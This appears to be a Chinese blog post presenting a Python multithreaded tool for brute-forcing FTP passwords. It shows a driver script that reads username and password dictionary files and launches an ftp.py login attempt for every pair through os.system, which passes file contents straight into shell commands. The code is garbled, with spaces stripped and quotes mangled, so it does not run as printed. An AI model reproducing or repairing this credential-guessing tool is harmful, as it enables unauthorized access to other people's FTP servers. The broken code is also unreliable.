python编写暴力破解FTP密码小工具
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
importos importtime importthreading
classmythread(threading.Thread): def__init__(self,command): threading.Thread.__init__(self) self.command=command defrun(self): kk=os.system(self.command) ushand=open(“user.txt”,”r”) pshand=open(“passwd.txt”,”r”) listuser=[] listpass=[] forusinopen(“user.txt”,”r”): lineus=ushand.readline().strip(‘\n') listuser.append(lineus) forpsinopen(“passwd.txt”,”r”): lineps=pshand.readline().strip(‘\n') listpass.append(lineps) foriinlistuser: forjinlistpass: command=”ftp.py%s%s”%(i,j) printcommand my_thread=mythread(command) my_thread.start() time.sleep(0.1)
热门推荐
6 保研的祝福语简短
10 年轻20岁祝福语简短
11 朋友结婚祝福语信息简短
12 女孩婚礼贺卡祝福语简短
13 30段点歌简短祝福语
14 虎年春节祝福语图文简短
15 写给后妈祝福语大全简短
16 简短回复生日祝福语
17 校长送毕业祝福语简短
18 毕业立体贺卡祝福语简短